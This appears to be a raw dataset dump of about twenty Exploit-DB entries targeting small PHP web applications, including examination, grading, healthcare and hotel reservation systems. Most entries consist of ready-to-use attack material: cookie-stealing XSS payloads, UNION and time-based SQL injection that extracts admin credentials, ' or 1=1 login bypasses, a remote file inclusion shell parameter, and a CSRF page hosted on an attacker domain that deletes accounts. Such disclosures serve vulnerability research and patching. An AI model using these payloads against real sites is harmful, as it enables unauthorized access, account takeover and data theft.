deardaniel/secdata-raw huggingface dataset:
Exploit-DB #48969
Description: Online Examination System 1.0 - 'name' Stored Cross Site Scripting
Type: webapps
Platform: php
Date: 2020-10-29
Author: Nikhil Kumar

Exploit:
# Exploit Title: Online examination system 1.0 - 'name' Stored Cross Site Scripting
# Date: 29/10/2020
# Exploit Author: Nikhil Kumar (https://www.linkedin.com/in/nikhil-kumar-4b9443166/)
# Vendor Homepage: https://github.com/projectworldsofficial/online-examination-systen-in-php
# Software Link: https://github.com/projectworldsofficial/online-examination-systen-in-php.git
# Version: 1.0
# Tested On: Ubntu 18 + Xampp-linux-x64-5.5.38-3

Step 1: Open the URL http://localhost/online-examination-systen-in-php/index.php and fill the sign up form 

http://localhost/exam_system/sign.php?q=account.php

Step 2 : Use payload ><script>alert(document.cookie)</script> in "name=" field 

Malicious Request
-----------------

POST /exam_system/sign.php?q=account.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 157
Origin: http://localhost
Connection: close
Referer: http://localhost/exam_system/index.php
Cookie: security_level=1; PHPSESSID=kue9gcj3bs2329e8mctsokaod7
Upgrade-Insecure-Requests: 1

name=test><script>alert(document.cookie)</script>&gender=M&college=test&email=test@test.com&mob=[PII_REDACTED]&[CREDENTIAL_REDACTED]=123456


Step 3: Cookie will be reflected each time user logged in with their credentials
Exploit-DB #51511
Description: Online Examination System Project 1.0 - Cross-site request forgery (CSRF)
Type: webapps
Platform: php
Date: 2023-06-13
Author: Ramil Mustafayev

Exploit:
# Exploit Title: Online Examination System Project 1.0 - Cross-site request forgery (CSRF)
# Google Dork: n/a
# Date: 09/06/2023
# Exploit Author: Ramil Mustafayev (kryptohaker)
# Vendor Homepage: https://github.com/projectworldsofficial/online-examination-systen-in-php
# Software Link: https://github.com/projectworlds32/online-examination-systen-in-php/archive/master.zip
# Version: 1.0
# Tested on: Windows 10, XAMPP for Windows 8.0.28 / PHP 8.0.28
# CVE : n/a

Online Examination System Project <=1.0 versions (PHP/MYSQL) are vulnerable to Cross-Site Request Forgery (CSRF) attacks. An attacker can craft a malicious link that, when clicked by an admin user, will delete a user account from the database without the admin’s consent. This is possible because the application uses GET requests to perform account deletion and does not implement any CSRF protection mechanism. The email of the user to be deleted is passed as a parameter in the URL, which can be manipulated by the attacker. This could result in loss of data.

To exploit this vulnerability, an attacker needs to do the following:

1. Identify the URL of the target application where Online Examination System Project is installed. For example, http://example.com/
2. Identify the email address of a user account that the attacker wants to delete. For example, victim@example.com
3. Create an HTML page that contains a hidden form with the target URL and the user email as parameters. For example:

<html>
  <body>
    <form action="http://example.com/update.php" method="GET">
      <input type="hidden" name="demail" value="victim@example.com" />
    </form>
    <script>
      document.forms[0].submit();
    </script>
  </body>
</html>

4. Host the HTML page on a server that is accessible by the admin user of the target application. For example, http://attacker.com/poc.html
5. Send the URL of the HTML page to the admin user via email, social media, or any other means.

If the admin user visits the URL of the HTML page, the script will submit the form and delete the user account associated with the email address from the database without the admin’s consent or knowledge.
Exploit-DB #5889
Description: Online Fantasy Football League (OFFL) 0.2.6 - 'teams.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-21
Author: t0pP8uZz

Exploit:
-[*]+================================================================================+[*]-
-[*]+		    OFFL <= 0.2.6 Remote SQL Injection Vulnerability	             +[*]-
-[*]+================================================================================+[*]-



[*] Discovered By: t0pP8uZz
[*] Discovered On: 19 JUNE 2008
[*] Script Download: http://downloads.sourceforge.net/offl
[*] DORK: N/A



[*] Vendor Has Not Been Notified!



[*] DESCRIPTION: 

	OFFL 0.2.6 and prior versions, suffer from multiple insecure mysql querys.
	
	SQL Injections below, there are various other spots which are injectable too...
 
	including " leagues.php?league_id=1' ", " players.php?player_id=190' " 	



[*] SQL Injection:

For Admin: http://site.com/teams.php?fflteam_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,CONCAT(username,0x3a,password)/**/FROM/**/users/**/WHERE/**/admin=1/**/LIMIT/**/0,1/*
For Users: http://site.com/teams.php?fflteam_id=-1/**/UNION/**/ALL/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,CONCAT(username,0x3a,password)/**/FROM/**/users/**/LIMIT/**/0,1/*



[*] NOTE/TIP: 

	admin area is at "admin.php" login using the normal login page first.
	passwords are encrypted in MD5

	no effcient dork, sql columns may vary on some sites.

[*] GREETZ: 

	milw0rm.com, h4ck-y0u.org, Offensive-Security.com, CipherCrew !



[-] Peace...

	...t0pP8uZz !



-[*]+================================================================================+[*]-
-[*]+		    OFFL <= 0.2.6 Remote SQL Injection Vulnerability	             +[*]-
-[*]+================================================================================+[*]-

# milw0rm.com [2008-06-21]
Exploit-DB #4374
Description: Online Fantasy Football League (OFFL) 0.2.6 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-09-07
Author: MhZ91

Exploit:
---------------------------------------------------------------
 ____            __________         __             ____  __  
/_   | ____     |__\_____  \  _____/  |_          /_   |/  |_
 |   |/    \    |  | _(__  <_/ ___\   __\  ______  |   \   __\
 |   |   |  \   |  |/       \  \___|  |   /_____/  |   ||  | 
 |___|___|  /\__|  /______  /\___  >__|            |___||__| 
          \/\______|      \/     \/                          
---------------------------------------------------------------
Http://www.inj3ct-it.org     Staff[at]inj3ct-it[dot]org 
---------------------------------------------------------------
 Multiple Remote File Inclusion Vulnerability
---------------------------------------------------------------
# Author: MhZ91 nobody.91@hotmail.it
# Download Script: http://sourceforge.net/projects/offl/ Online Fantasy Football League 0.2.6
# Exploit:
# http://[target]/[path]/lib/functions.php?DOC_ROOT=[Shell]
# http://[target]/[path]/lib/header.php?DOC_ROOT=[Shell]
---------------------------------------------------------------

# milw0rm.com [2007-09-07]
Exploit-DB #48673
Description: Online Farm Management System 0.1.0 - Persistent Cross-Site Scripting
Type: webapps
Platform: php
Date: 2020-07-15
Author: KeopssGroup0day_Inc

Exploit:
# Exploit Title: Online Farm Management System 0.1.0 - Persistent Cross-Site Scripting
# Date: 2020-06-29
# Exploit Author: KeopssGroup0day,Inc
# Vendor Homepage:  https://www.sourcecodester.com/php/14198/online-farm-management-system-phpmysql.html
# Software Link:  https://www.campcodes.com/projects/php/249/farm-management-system-in-php-mysql/
# Version: 0.1.0
# Tested on: Kali Linux

Source code(review.php):
<?php
if($result) :
while($row1 = $result->fetch_array()) :
?>
  <div class="con">
  <div class="row">
  <div class="col-sm-4">
  <em style="color: black;"><?= $row1['comment']; ?></em>
</div>


POC:

1. http://192.168.1.58/a/review.php?pid=31 go
2. We send the payload (<script>alert(1)</script>)
3. Write a review payload and submit
4. And refresh the page
Exploit-DB #41029
Description: Online Food Delivery 2.04 - Authentication Bypass
Type: webapps
Platform: php
Date: 2017-01-12
Author: Dawid Morawski

Exploit:
# Vulnerability: Online Food Delivery v2.04 Authentication bypass
# Date: 12.01.2017
# Software link: http://itechscripts.com/food-delivery/
# Demo: http://restaurant.itechscripts.com
# Price: 49$
# Category: webapps
# Exploit Author: Dawid Morawski
# Website: http://www.morawskiweb.pl
# Contact: dawid.morawski1990@gmail.com
#######################################


Go to http://localhost/[PATH]/admin/admin_login.php and set:

Username: 1' or 1=1 -- -
[CREDENTIAL_REDACTED]
Exploit-DB #7956
Description: Online Grades 3.2.4 - Authentication Bypass
Type: webapps
Platform: php
Date: 2009-02-03
Author: x0r

Exploit:
#########################################################################################

    [0x01] Informations: 
	Script : Online Grades 3.2.4 
	Download : http://www.onlinegrades.org 
	Vulnerability : Auth Bypass - Php Info Disclosure 
	Author : x0r 
	Contact : x0r@live.it \ andry2000@hotmail.it 
	Website : NULL 

#########################################################################################

    [0x02] Bug: /parents/login.php 
	
	$username = $_POST['uname']; $pword = $_POST['pass']; 
	$mysql_query = "SELECT * from PARENTS where client_id = '$username' and
client_pw = '$pword';"; 

#########################################################################################

    [0x03] Exploit: 
	Exploit: [validemail] ' or ' 1=1-- 
	
	Php Info: /includes/phpinfo.php 

#########################################################################################

# milw0rm.com [2009-02-03]
Exploit-DB #35978
Description: Online Grades 3.2.5 - Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: php
Date: 2011-07-25
Author: Gjoko Krstic

Exploit:
source: https://www.securityfocus.com/bid/48875/info

Online Grades is prone to multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

Online Grades 3.2.5 is vulnerable; other versions may also be affected. 


http://www.example.com/admin/admin.php?func=1"><script>alert(1)</script>&skin=classic
http://www.example.com/admin/admin.php?func=0&skin=1"><script>alert(1)</script>
http://www.example.com/admin/admin.php?func=0&todo=1"><script>alert(1)</script>
http://www.example.com/admin/admin.php?func=0&what=1"><script>alert(1)</script>&who=Faculty
http://www.example.com/admin/admin.php?func=0&what=mail&who=1"><script>alert(1)</script>
http://www.example.com/admin/admin.php/>"><script>alert(1)</script>
Exploit-DB #49493
Description: Online Grading System 1.0 - 'uname' SQL Injection
Type: webapps
Platform: php
Date: 2021-01-29
Author: Ruchi Tiwari

Exploit:
# Exploit Title: Online Grading System 1.0 - 'uname' SQL Injection
# Date: 2021-01-28
# Exploit Author: Ruchi Tiwari
# Vendor Homepage: https://www.sourcecodester.com/php/13711/online-grading-system-using-phpmysqli.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/onlinegradingsystem.zip
# Version: 1.0
# Tested On: Windows 10 Pro 10.0.18363 N/A Build 18363 + XAMPP V3.2.4

---------------------------------------------------------------------------------

#parameter Vulnerable: uname
# Injected Request
POST /onlinegradingsystem/admin/login.php HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:84.0) Gecko/20100101 Firefox/84.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 122
Origin: http://localhost:8080
Connection: close
Referer: http://localhost:8080/onlinegradingsystem/admin/login.php
Cookie: PHPSESSID=mavnqgmmv1o0vtqld99vtdv1us
Upgrade-Insecure-Requests: 1

uname=ruchi'||(SELECT 0x4375526c WHERE 6468=6468 AND (SELECT 4401 FROM (SELECT(SLEEP(20)))ariq))||'&pass=admin&btnlogin=

#Application will load after 20 minutes.
--------------------------------------------------------------------------------------------------------------------
Exploit-DB #34803
Description: Online Guestbook Pro 5.1 - 'ogp_show.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-07-09
Author: Moudi

Exploit:
source: https://www.securityfocus.com/bid/43689/info

Online Guestbook Pro is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

Online Guestbook Pro 5.1 is vulnerable; other versions may also be affected.

http://www.example.com/patch/ogp_show.php?display=[nm]&sort=&entry=[XSS]&search=&search_choice==
Exploit-DB #48945
Description: Online Health Care System 1.0 - Multiple Cross Site Scripting (Stored)
Type: webapps
Platform: php
Date: 2020-10-26
Author: Akıner Kısa

Exploit:
# Exploit Title: Online Health Care System 1.0 - Multiple Cross Site Scripting (Stored)
# Google Dork: N/A
# Date: 2020/10/24
# Exploit Author: Akıner Kısa
# Vendor Homepage: https://www.sourcecodester.com/php/14526/online-health-care-system-php-full-source-code-2020.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/janobe/healthcare_0.zip
# Version: 1.0
# Tested on: XAMPP 
# CVE : N/A

Vulnerable Pages:
http://localhost/healthcare/Users/registration.php
http://localhost/healthcare/Doctor/doctor_registration.php

Proof of Concept:

1 - Go to vulnerable pages and fill the "First Name" and "Last Name" blanks with <script>alert(1)</script> payload.

2 - And check user/doctor account on admin panel or http://localhost/healthcare/admin/user_detail.php?id=<userid> adres.
Exploit-DB #48482
Description: Online Healthcare management system 1.0 - Authentication Bypass
Type: webapps
Platform: php
Date: 2020-05-18
Author: BKpatron

Exploit:
# Exploit Title: Online Healthcare management system 1.0 - Authentication Bypass
# Google Dork: N/A
# Date: 2020-05-16
# Exploit Author: BKpatron
# Vendor Homepage: https://www.sourcecodester.com/php/14217/online-healthcare-patient-record-management-system-using-phpmysql.html
# Software Link:  https://www.sourcecodester.com/sites/default/files/download/donbermoy/onlinehealthcare.zip
# Version: v1.0
# Tested on: Win 10
# CVE: N/A
# my website: bkpatron.com

# Vulnerability: Attacker can bypass login page and access to dashboard page
# vulnerable file : admin/index.php || admin/login.php
# Parameter & Payload: '=''or'
# Proof of Concept:
http://localhost/onlinehealthcare/admin/login.php

POST /onlinehealthcare/admin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=--------------------------[PII_REDACTED]21842
Content-Length: 356
Referer: http://localhost/onlinehealthcare/admin/index.php
Cookie: _ga=GA1.[PII_REDACTED][PII_REDACTED]
Connection: keep-alive
Upgrade-Insecure-Requests: 1
----------------------------[PII_REDACTED]21842: undefined
Content-Disposition: form-data; name="username"
'=''or'
----------------------------[PII_REDACTED]21842
Content-Disposition: form-data; name="password"

'=''or'
----------------------------[PII_REDACTED]21842
Content-Disposition: form-data; name="login"


----------------------------[PII_REDACTED]21842--
Exploit-DB #41181
Description: Online Hotel Booking System Pro 1.2 - SQL Injection
Type: webapps
Platform: php
Date: 2017-01-27
Author: Ihsan Sencan

Exploit:
# # # # # 
# Exploit Title: Online Hotel Booking System Pro v1.2 - SQL Injection
# Google Dork: N/A
# Date: 27.01.2017
# Vendor Homepage: http://www.bestsoftinc.com/
# Software Buy: https://codecanyon.net/item/online-hotel-booking-system-pro/4606514
# Demo: http://envato.bestsoftinc.net/hotel-booking-pro/
# Version: 1.2
# Tested on: Win7 x64, Kali Linux x64
# # # # # 
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Mail : ihsan[beygir]ihsan[nokta]net
# # # # #
# SQL Injection/Exploit :
# http://localhost/[PATH]/roomtype-details.php?tid=[SQL]
# E.t.c
# # # # #
Exploit-DB #49428
Description: Online Hotel Reservation System 1.0 - 'description' Stored Cross-site Scripting
Type: webapps
Platform: php
Date: 2021-01-15
Author: Mesut Cetin

Exploit:
# Exploit Title: Online Hotel Reservation System 1.0 - Stored Cross-site Scripting
# Exploit Author: Mesut Cetin
# Date: 2021-01-14
# Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html
# Software Link: https://www.sourcecodester.com/download-code?nid=13492&title=Online+Hotel+Reservation+System+in+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0

######## Description ########

The room 'description' parameter is vulnerable to stored Cross-site Scripting.


######## Proof of Concept #########

Login with administrator credentials at http://localhost/admin with admin:admin and click on "Rooms" tab.

Edit "description" parameter:

1<script>alert('document.cookie')</script>

Any user at http://localhost/marimar/index.php will get the XSS pop-up warning with their cookie values.
Exploit-DB #49429
Description: Online Hotel Reservation System 1.0 - 'id' Time-based SQL Injection
Type: webapps
Platform: php
Date: 2021-01-15
Author: Mesut Cetin

Exploit:
# Exploit Title: Online Hotel Reservation System 1.0 - 'id' Time-based SQL Injection
# Exploit Author: Mesut Cetin
# Date: 2021-01-14
# Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html
# Software Link: https://www.sourcecodester.com/download-code?nid=13492&title=Online+Hotel+Reservation+System+in+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0

######## Description ########

Vulnerable to SQL Injection. 

// vulnerable parameter at include/room.php, line 25:

$mydb->setQuery("SELECT * FROM ".self::$tbl_name." Where `ROOMID`= {id} LIMIT 1");

######## Proof of Concept #########

The 'id' parameter at http://localhost/marimar/admin/mod_room/index.php?view=edit&id=11 is vulnerable to time-based SQL injection.

Payload: (select*from(select(sleep(10)))a)

Proof of Concept:

http://localhost/marimar/admin/mod_room/index.php?view=edit&id=(select*from(select(sleep(10)))a)
Exploit-DB #50171
Description: Online Hotel Reservation System 1.0 - 'Multiple' Cross-site scripting (XSS)
Type: webapps
Platform: php
Date: 2021-08-02
Author: Mohammad Koochaki

Exploit:
# Exploit Title: Online Hotel Reservation System 1.0 - 'Multiple' Cross-site scripting (XSS)
# Date: 2021-08-02
# Exploit Author: Mohammad Koochaki
# Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/marimar.zip
# Version: 1.0
# Tested-on: Ubuntu 20.04.2 LTS, PHP 7.4.3

### This application is prone to a cross-site scripting in the 'arrival' and 'departure' parameters at the following path:
        - http://localhost/marimar/index.php?p=booking

### Payload: "></div><script>alert("XSS-MSG")</script>

### PoC:

POST /marimar/index.php?p=booking HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101
Firefox/78.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://localhost
Connection: close
Referer: http://localhost/marimar/index.php?p=booking
Cookie: PHPSESSID=9ck943m19rugu8d7q7d6mh6fnt
Upgrade-Insecure-Requests: 1
DNT: 1
Sec-GPC: 1

arrival="></div><script>alert("arrival")</script>&departure="></div><script>alert("departure")</script>&person=0&accomodation=0
Exploit-DB #49431
Description: Online Hotel Reservation System 1.0 - 'person' time-based SQL Injection
Type: webapps
Platform: php
Date: 2021-01-15
Author: Mesut Cetin

Exploit:
# Exploit Title: Online Hotel Reservation System 1.0 - 'person' time-based SQL Injection
# Exploit Author: Mesut Cetin
# Date: 2021-01-15
# Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html
# Software Link: https://www.sourcecodester.com/download-code?nid=13492&title=Online+Hotel+Reservation+System+in+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested on: Kali Linux 2020.4, PHP 7.4.13, mysqlnd 7.4.13, Apache/2.4.46 (Unix), OpenSSL/1.1.1h, mod_perl/2.0.11 Perl/v5.32.0

######## Description ########

The 'person' parameter is vulnerable to time-based SQL Injection. 


######## Proof of Concept #######

Payload: (select*from(select(sleep(10)))a)

Using Burp Suite, send the following POST request:

POST /marimar/index.php?p=booking HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 71
Origin: http://localhost
Connection: close
Referer: http://localhost/marimar/index.php?p=booking
Cookie: PHPSESSID=cf40af0022f401c8cfd0be17fc00a6cc
Upgrade-Insecure-Requests: 1

arrival=01%2F19%2F2021&departure=01%2F11%2F2021&person=(select*from(select(sleep(10)))a)&accomodation=0
Exploit-DB #49420
Description: Online Hotel Reservation System 1.0 - Admin Authentication Bypass
Type: webapps
Platform: php
Date: 2021-01-13
Author: Richard Jones

Exploit:
# Exploit Title: Online Hotel Reservation System 1.0 - Admin Authentication Bypass
# Exploit Author: Richard Jones
# Date: 2021-01-13
# Vendor Homepage: https://www.sourcecodester.com/php/13492/online-hotel-reservation-system-phpmysqli.html
# Software Link: https://www.sourcecodester.com/download-code?nid=13492&title=Online+Hotel+Reservation+System+in+PHP%2FMySQLi+with+Source+Code
# Version: 1.0
# Tested On: Windows 10 Home 19041 (x64_86) + XAMPP 7.2.34

#Exploit URL: http://TARGET/marimar/admin/index.php
 Host: TARGET
 POST /marimar/admin/login.php HTTP/1.1
 Content-Length: 57
 Connection: close
 Cookie: PHPSESSID=82sevuai2qhh9h8b5jbucn0616

 email=admin%27+or+1%3D1+--+-ac1d&pass=asdasdasd&btnlogin=